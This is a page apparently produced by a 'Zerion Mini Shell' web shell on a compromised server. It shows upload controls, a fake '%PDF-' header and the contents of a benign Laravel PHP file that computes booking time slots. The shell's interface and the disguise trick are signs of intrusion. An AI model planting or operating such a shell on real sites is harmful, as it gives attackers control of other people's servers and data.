%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Repositories/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Repositories/AvailabilityRepository.php

<?php

namespace App\Repositories;

use Carbon\Carbon;
use App\Models\Availability;
use App\Http\Resources\SessionResource;
use App\Http\Resources\Account\UserAddressResource;

class AvailabilityRepository
{
    /**
     * Get the available time slots
     *
     * @param datetime $from
     * @param datetime $to
     * @param int $increment
     * @return array $slots
     */
    public static function getTimeSlots($item, $increment, $bookings) : array
    {
        $start_time = strtotime($item->available_from);
        $end_time = strtotime($item->available_to);
        $slot = strtotime(date('Y-m-d H:i:s', $start_time) . ' +'.$increment.' minutes');

        $slots = [];

        for ($i=0; $slot <= $end_time; $i++) {
            if (!in_array(Carbon::parse($start_time), $bookings)) {
                $slots[] = [ 
                    'start' => Carbon::parse($start_time),
                    'end' => Carbon::parse($slot),
                    'session_types' => SessionResource::collection($item->sessions),
                    'address' => $item->address ? new UserAddressResource($item->address) : null,
                ];
            }

            $start_time = $slot;
            $slot = strtotime(date('Y-m-d H:i:s',$start_time) . ' +'.$increment.' minutes');
        }

        return $slots;
    }
}

Zerion Mini Shell 1.0